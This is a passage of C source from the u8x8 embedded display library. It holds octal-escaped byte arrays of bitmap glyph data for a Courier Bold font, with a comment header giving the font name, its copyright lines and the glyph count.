"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\0\0\0\0" "\0\0\0\0\0\3\3\3\3\3\77\77\3\3\3\3\3\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\0\30\34\204\304d<\30\0\0\0\0\0\0\0\0\0\6\7\5\4\4\6\6\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\34DDd\374\230\0" "\0\0\0\0\0\0\0\0\3\7\4\4\4\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 \60\70\34\14\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\200\200\200\200" "\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377\0\0\0\0\0\0\177\177\3\3\3\3\3\1\3\3" "\3\3\0\0\0\360\370\370\14\14\374\374\14\374\374\14\14\0\0\0\0\1\3\3\6\6\377\377\0\377\377\0" "\0\0\0\0\0\0\0\14\14\14\17\17\0\17\17\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 hn~\70\0\0\0\0\0\0\0\0\0\0\10\10\10\374\374\0\0\0\0" "\0\0\0\0\0\0\0\4\4\4\7\7\4\4\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\360\30\30\30\30\360\340\0\0\0\0\0\0\0\0\61\63\66\66\66\66\63\61\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\203\307\356|\70\21\203\307\356|\70\20\0\0\0\1\1\1\0\0\0\1\1\1\0\0" "\0\0\0\0\10\10\10\374\374\0\0\0\0\0\0\200\300`\60\30\4\4\4\207\307d\64\34\314\246\223\211" "\374\376\200\0\0\0\3\1\0\0\0\0\0\0\0\2\3\3\2\0\10\10\10\374\374\0\0\0\0\0\0\200" "\300`\60\30\4\4\4\207\307d\64\34\14\6\217\307b\62\36\14\0\0\3\1\0\0\0\0\0\3\3\2" "\2\2\3\3\30\34DDd\374\230\0\0\0\200\300`\60\30\0\3\7\204\304d\67\33\314\246\223\211\374" "\376\200\0\0\0\3\1\0\0\0\0\0\0\0\2\3\3\2\0\0\0\0\0\0\0\0\200\200\0\0\0\0" "\0\0\0\0\0\0\200\300\300`{;\0\0\0\0\0\0\0\0\0\0\17\37\70\60\60\60\60>\36\0" "\0\0\0\0\0\0\30\30\231\373{z\340\200\0\0\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360" "\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\30\30\230\372{{\341\200\0\0" "\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\2\33\33\231\370xy\343\203\2\0\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360" "\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\32\33\231\371{{\343\201\0\0" "\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\0\30\33\233\370xx\343\203\0\0\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360" "\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\30\30\233\376|~\343\200\0\0" "\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\0\0\0\30\330\370\370\370\30\30\30\30xx\0\0\300\360<\37\31\30\377\377\6\6\17" "\17\300\300\0\3\3\3\3\0\3\3\3\3\3\3\3\3\3\3\0\0\200\340\360\60\30\30\30\30\30\60\370" "\370\0\0\0\0\77\377\340\200\0\0\0\0\0\0\200\300\0\0\0\0\0\0\1!ko\177;\3\3\1" "\0\0\0\0\0\30\30\370\370\31\33\33\232\230\30\370\370\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0" "\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\30\30\370\370\30\32\33\233\231\30\370" "\370\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\30\30\372\373\33\31\30\230\231\33\373\372\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0" "\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\30\30\370\373\33\30\30\230\233\33\370" "\370\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\30\30\30\31\373\373\32\30\30\30\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\30\30\30\32\373\373\31\30\30\30" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\32\33\33\31\370\370\31\33\33\32\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\30\30\33\33\370\370\33\33\30\30" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\30\30\370\370\30\30\30\30\30\30\60\360\340\200\0\0\6\6\377\377\6\6\6\0\0\0\200\300" "\377\77\0\0\3\3\3\3\3\3\3\3\3\3\3\1\0\0\0\0\0\30\370\372{\341\201\3\3\33\31\370" "\370\30\0\0\0\0\377\377\0\1\7\36x\340\200\377\377\0\0\0\0\3\3\3\3\3\0\0\0\1\3\3" "\3\0\0\0\0\200\340\360\60\30\31\33\33\32\60\360\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340" "\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1\0\0\0\0\0\200\340\360\60\30\32\33\33\31\60\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\200\340\362\63\33\31\30\30\31\63\363\342\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340" "\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1\0\0\0\0\0\200\340\362\63\31\31\33\33\33\61\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\200\340\360\63\33\30\30\30\33\63\360\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340" "\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1\0\0\0\0\0@\340\300\200\0\0\0\0\200\300\340" "@\0\0\0\0\200\300\341s\77\36\36\77s\341\300\200\0\0\0\0\0\1\0\0\0\0\0\0\0\0\1" "\0\0\0\0\0\200\340\360\60\30\30\30\230\330x\374\346\202\0\0\0\77\377\340\300p\34\6\3\0\200\340" "\377\77\0\0\0\4\6\3\1\3\3\3\3\3\1\1\0\0\0\0\0\30\370\370\30\31\3\3\2\30\30\370" "\370\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1" "\0\0\0\0\0\30\370\370\30\30\2\3\3\31\30\370\370\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377" "\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1\0\0\0\0\0\30\370\372\33\33\1\0\0\31\33\373" "\372\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1" "\0\0\0\0\0\30\370\370\33\33\0\0\0\33\33\370\370\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377" "\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1\0\0\0\0\30\70x\370\330\32\3\3\31\330\370x" "\70\30\0\0\0\0\0\0\3\7\376\376\7\3\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0" "\0\0\0\0\0\30\30\370\370\330\330\300\300\300\300\200\200\0\0\0\0\0\0\377\377``````\61" "\77\37\0\0\0\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\360\370\34\14\14\234\370\360\0" "\0\0\0\0\0\0\0\377\377\0\3\203\203\7\216\374\370\0\0\0\0\3\3\3\3\3\0\1\3\3\3\1" "\0\0\0\0\0\0\4\214\234\270\260\240\200\0\0\0\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0" "\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3\3\0\0\0\0\0\0\200\200\240\260\270\234\14\4\0" "\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3" "\3\0\0\0\0\0 \260\270\234\214\234\270\60 \0\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0" "\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3\3\0\0\0\0\0 \260\230\230\270\260\260\30\10\0" "\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3" "\3\0\0\0\0\0\0\270\270\200\200\200\270\70\0\0\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0" "\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3\3\0\0\0\0\0\0\200\270\354\304\354\270\0\0\0" "\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3" "\3\0\0\0\0\0\200\200\200\200\0\0\200\200\200\200\0\0\0\0\340\363\63\31\31\233\377\377\263\61\61\63" "\277\276\0\0\1\3\3\3\3\3\1\1\3\3\3\3\1\1\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\0\0\0\0\0|\377\307\203\1\1\1\1\3\217\217\0\0\0\0\0\0\1\1#ko\177;\3\3\1" "\0\0\0\0\0\0\0\4\214\234\270\260\240\200\0\0\0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277" "\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1\1\0\0\0\0\0\0\0\200\240\260\270\234\214\4\0" "\0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\0 \260\270\234\214\234\270\60 \0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277" "\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1\1\0\0\0\0\0\0\70\270\200\200\200\270\270\0\0" "\0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\4\214\234\270\260\240\0\0\0\0\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\200\200\240\260\270\34\14\4\0" "\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0 \260\270\234\214\234\70\60 \0\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\270\270\200\200\200\70\70\0\0" "\0\0\0\0\0\0\0\1\1\1\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\6ffv\274\274\230\270\370\354\314\214\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377" "~\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1\0\0\0\0\200\200\240\260\30\30\270\260\260\230\10\0" "\0\0\0\0\1\1\377\377\6\3\1\1\1\3\377\376\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\0\0\4\214\234\270\260\240\200\0\0\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377" "|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1\0\0\0\0\0\0\0\0\200\240\260\270\234\214\4\0" "\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1" "\0\0\0\0\0\0 \60\270\234\214\234\270\260 \0\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377" "|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1\0\0\0\0\0\0 \60\230\230\270\260\260\230\10\0" "\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1" "\0\0\0\0\0\0\0\70\270\200\200\200\270\270\0\0\0\0\0\0\0|\377\307\203\1\1\1\1\203\307\377" "|\0\0\0\0\0\1\1\3\3\3\3\3\3\1\1\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0" "\0\0\0\0\14\14\14\14\14\314\314\314\14\14\14\14\14\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\200\300@\0\0\0|\377\207\303a\61\31\15\207\303\377" "|\0\0\0\10\14\7\3\3\3\3\3\3\3\1\1\0\0\0\0\200\200\204\214\34\70\60 \200\200\200\200" "\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3" "\3\3\0\0\200\200\200\200 \60\70\34\214\204\200\200\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377" "\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3\3\3\0\0\200\200\240\260\70\34\14\34\270\260\240\200" "\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3" "\3\3\0\0\200\200\200\270\70\0\0\0\270\270\200\200\0\0\0\0\1\1\377\377\200\0\0\0\1\201\377\377" "\0\0\0\0\0\0\0\1\3\3\3\3\3\1\3\3\3\3\0\0\0\200\200\200\200\200 \60\270\234\214\204" "\200\0\0\0\0\1\7\37}\361\200\300\361}\37\7\1\0\0\0\0```p}\177g\1\0\0\0" "\0\0\0\0\0\14\14\374\374\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\307\203\1\1\1\203\307" "\377|\0\0\0``\177\177acc\3\3\3\1\1\0\0\0\0\200\200\270\270\200\0\0\270\270\200\200" "\200\0\0\0\0\1\7\37}\361\200\300\361}\37\7\1\0\0\0\0```p}\177g\1\0\0\0" "\0\0\0"; /* Fontname: -Adobe-Courier-Bold-R-Normal--25-180-100-100-M-150-ISO10646-1 Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. Glyphs: 95/873 BBX Build Mode: 3 */ const uint8_t u8x8_font_courB18_2x3_r[4564] U8X8_FONT_SECTION("u8x8_font_courB18_2x3_r") = " ~\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\374\374\370\0\0\0" "\0\0\0\0\0\0\0\0\0\1\277\277\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\0<\374<\0<\374<\0\0\0\0\0\0\0\0\0\0\1\0\0\0\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\376\376\200\200\376\376\200" "\200\0\0\0\0\60\61\361\377\77\61\361\377\77\61\61\1\0\0\0\0\0\0\17\17\0\0\17\17\0\0\0" "\0\0\0\0\0\0\340\360\30\30\36\36\60xx\0\0\0\0\0\0\0\341\343\303\206\206\206\206\314\374x" "\0\0\0\0\0\0\1\1\0\1\37\37\1\1\0\0\0\0\0\0\0\0`\360\230\10\10\230\360`\0\0" "\0\0\0\0\0\0\20\20\31\311\355\65\24\26\62\342\300\0\0\0\0\0\0\0\0\0\1\3\2\2\3\1" "\0\0\0\0\0\0\0\300\340\60\60\60p`\0\0\0\0\0\0\0\0\340\371\37\16\34\270\360\360\270\30" "\0\0\0\0\0\0\1\3\3\3\3\3\1\1\3\3\3\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\370\34\14\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\7\37\70\60\0\0\0\0\0\0\0\0\14\34\370\340\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\60\70\37\7\0\0\0\0\0" "\0\0\0\0\0\0``\300\300\374\374\300\300``\0\0\0\0\0\0\0\30\36\16\3\3\16\36\30\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\0\0\0\0" "\0\0\0\0\0\14\14\14\14\14\377\377\14\14\14\14\14\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\14\14\14\14\14\14\14\14\14\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340x\36" "\6\0\0\0\0\0\0\0\200\340x\36\7\1\0\0\0\0\0\0\0\0\30\36\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\340\370\30\14\14\14\14\30\370\340\0\0\0\0\0\0\177\377\200\0\0\0\0\200\377\177" "\0\0\0\0\0\0\0\1\1\3\3\3\3\1\1\0\0\0\0\0\0\0\30\30\30\34\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0px\34\14\14\14\14\34\370\360\0\0\0\0\0\0\200\300\340p\70\34\16\7\3\1" "\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\60\70\34\14\14\14\14\234\370\360" "\0\0\0\0\0\300\300\200\0\6\6\6\7\217\375\370\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1\0" "\0\0\0\0\0\0\0\0\300\360\70\34\374\374\0\0\0\0\0\0\0\60<\77\63\60\60\60\377\377\60\60" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\374\374\14\214\214\214\214\14\14" "\0\0\0\0\0\0\300\303\203\3\1\1\1\203\307\377|\0\0\0\0\0\0\1\3\3\3\3\3\3\1\1" "\0\0\0\0\0\0\200\340\360\70\30\34\14\14\14\14\0\0\0\0\0\0\177\377\306\203\3\3\3\207\376\374" "\0\0\0\0\0\0\0\1\1\3\3\3\3\3\1\0\0\0\0\0\0\0\34\34\14\14\14\14\14\314\374<" "\0\0\0\0\0\0\0\0\0\0\200\360~\17\1\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\360\370\30\14\14\14\14\30\370\360\0\0\0\0\0\0\370\375\217\6\6\6\6\217\375\370" "\0\0\0\0\0\0\0\1\3\3\3\3\3\3\1\0\0\0\0\0\0\0\0\340\370\30\14\14\14\14\30\370" "\340\0\0\0\0\0\0\7\17\34\30\30\30\214\306\377\77\0\0\0\0\0\0\3\3\3\3\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\203\203\203\0\0\0\0\0\0\0\0\0\0\0\30\16\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300`` \0\0\0\14\14\36\36\63\63aa\300\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\63\63\63\63\63\63\63\63\63\63\63\63\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0 ``\300\300\200\200\0\0\0\0\0\0\0\0\0\0\200\200\300\300aa\63\63\36\36" "\14\14\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\30\30\30\30\70\360\340" "\0\0\0\0\0\0\0\0\0\0\270\274\14\6\7\3\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0" "\0\0\0\0\0\0\340\370\30\14\14\214\230\370\340\0\0\0\0\0\0\0\377\377\0\36\77sa\177\177`" "\0\0\0\0\0\0\1\7\6\14\14\14\14\6\6\0\0\0\0\0\0\0\30\30\230\370xx\340\200\0\0" "\0\0\0\0\0\300\360~\77\63\60\60\63\77~\360\300\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3" "\3\3\0\0\0\30\30\370\370\30\30\30\30\30\70\360\340\0\0\0\0\0\0\377\377\6\6\6\6\6\7\217" "\375\370\0\0\0\3\3\3\3\3\3\3\3\3\3\3\1\0\0\0\0\200\340\360\60\30\30\30\30\30\60\370" "\370\0\0\0\0\77\377\340\200\0\0\0\0\0\0\200\200\0\0\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\30\30\370\370\30\30\30\30\30\30\60\360\340\200\0\0\0\0\377\377\0\0\0\0\0\0\200\300" "\377\77\0\0\3\3\3\3\3\3\3\3\3\3\3\1\0\0\0\0\0\30\30\370\370\30\30\30\230\230\30\370" "\370\0\0\0\0\0\0\377\377\6\6\6\37\37\0\0\340\340\0\0\0\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\30\30\370\370\30\30\30\230\230\30\30\370\370\0\0\0\0\0\377\377\6\6\6\37\37\0\0" "\0\0\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\340\360\60\30\30\30\30\30\30\60" "\370\370\0\0\0\77\377\340\200\0\0\0\30\30\30\230\370\370\0\0\0\0\0\1\1\3\3\3\3\3\3\1" "\1\0\0\0\30\30\370\370\30\30\0\0\30\30\370\370\30\30\0\0\0\0\377\377\6\6\6\6\6\6\377\377" "\0\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\0\0\30\30\30\30\370\370\30\30\30\30" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3" "\0\0\0\0\0\0\0\0\30\30\30\30\30\370\370\30\30\30\0\0\0\360\360\200\0\0\0\0\200\377\377\0" "\0\0\0\0\0\0\1\3\3\3\3\3\3\1\0\0\0\0\0\0\30\30\370\370\30\30\200\300\370x\70\30" "\30\0\0\0\0\0\377\377\16\7\17\35\70\360\340\200\0\0\0\0\3\3\3\3\3\3\0\0\0\0\3\3" "\3\3\0\0\0\30\30\30\370\370\30\30\30\0\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\340" "\340\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\30\370\370x\340\200\0\0\200\340x\370" "\370\30\0\0\0\377\377\0\3\7\34\34\7\3\0\377\377\0\0\0\3\3\3\3\3\0\0\0\0\3\3\3" "\3\3\0\0\0\30\370\370x\340\200\0\0\30\30\370\370\30\0\0\0\0\377\377\0\1\7\36x\340\200\377" "\377\0\0\0\0\3\3\3\3\3\0\0\0\1\3\3\3\0\0\0\0\200\340\360\60\30\30\30\30\30\60\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\30\30\370\370\30\30\30\30\30\30\60\360\340\0\0\0\0\0\377\377\30\30\30\30\30\30\14" "\17\7\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\340\360\60\30\30\30\30\30\60\360" "\340\200\0\0\0\77\377\340\200\0\0\0\0\0\200\340\377\77\0\0\0\0\0\31\31\37\17\17\33\33\31\31" "\14\14\0\0\30\30\370\370\30\30\30\30\30\60\360\340\0\0\0\0\0\0\377\377\14\14\14\34<\366\347\203" "\0\0\0\0\3\3\3\3\3\3\0\0\0\0\3\3\3\3\0\0\0\0\340\360\70\30\30\30\30\30\60\370" "\370\0\0\0\0\340\341\203\7\6\6\16\14\14\234\370\360\0\0\0\0\3\3\1\3\3\3\3\3\3\3\1" "\0\0\0\0\0\370\370\30\30\30\370\370\30\30\30\370\370\0\0\0\0\1\1\0\0\0\377\377\0\0\0\1" "\1\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0\0\0\0\0\0\30\370\370\30\30\0\0\0\30\30\370" "\370\30\0\0\0\0\177\377\200\0\0\0\0\0\200\377\177\0\0\0\0\0\0\1\3\3\3\3\3\3\3\1" "\0\0\0\0\30x\370\230\30\0\0\0\0\30\230\370x\30\0\0\0\0\3\37|\340\200\200\340|\37\3" "\0\0\0\0\0\0\0\0\0\3\3\3\3\0\0\0\0\0\0\0\30\370\370\30\30\0\300\300\0\30\30\370" "\370\30\0\0\0\37\377\340\374\77\7\7\77\374\340\377\37\0\0\0\0\0\3\3\3\0\0\0\0\3\3\3" "\0\0\0\0\30\70x\370\330\230\0\0\230\330\370x\70\30\0\0\0\200\300\340q;\17\17;q\340\300" "\200\0\0\0\3\3\3\3\3\3\0\0\3\3\3\3\3\3\0\0\30\70x\370\330\30\0\0\30\330\370x" "\70\30\0\0\0\0\0\0\3\7\376\376\7\3\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\0" "\0\0\0\0\0\0\370\370\30\30\30\30\230\330\370x\70\0\0\0\0\0\200\300\340x<\16\7\3\0\340" "\340\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\374\374\14\14\14\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\60\60\60\0" "\0\0\0\0\0\0\6\36x\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\36x\340\200\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\36\30\0\0\0\0\0\0\14\14\14\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0\0\0\0\0\0\0\0\60\60\60\77\77\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360<<\360\300\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60\60\60\60\60\60\60\60\60\60\60\60" "\60\60\60\0\0\0\0\0\10\30\60`@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\0\0\0" "\0\0\0\0\0\340\363\63\31\31\31\31\233\377\376\0\0\0\0\0\0\1\3\3\3\3\3\3\1\3\3\3" "\3\0\0\0\0\14\14\374\374\0\200\200\200\200\200\0\0\0\0\0\0\0\0\377\377\307\203\1\1\1\203\307" "\377|\0\0\0\3\3\3\3\1\3\3\3\3\3\1\1\0\0\0\0\0\0\0\200\200\200\200\200\200\0\200" "\200\0\0\0\0|\377\307\203\1\1\1\1\3\207\217\217\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\0\0\200\200\200\200\214\14\374\374\0\0\0\0\0|\377\307\203\1\1\1\203\307\377\377" "\0\0\0\0\0\0\1\1\3\3\3\3\3\1\3\3\3\3\0\0\0\0\0\0\200\200\200\200\200\200\0\0" "\0\0\0\0\0|\377\367\263\61\61\61\61\63\267\277\274\0\0\0\0\0\1\1\3\3\3\3\3\3\3\1" "\1\0\0\0\0\0\200\200\200\360\370\234\214\214\214\214\14\0\0\0\0\0\1\1\1\377\377\1\1\1\1\1" "\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\200\200\200\200\200\0\200\200" "\200\200\0\0\0|\377\307\203\1\1\1\203\307\377\377\1\1\0\0\0\0\1acccccq\77\37" 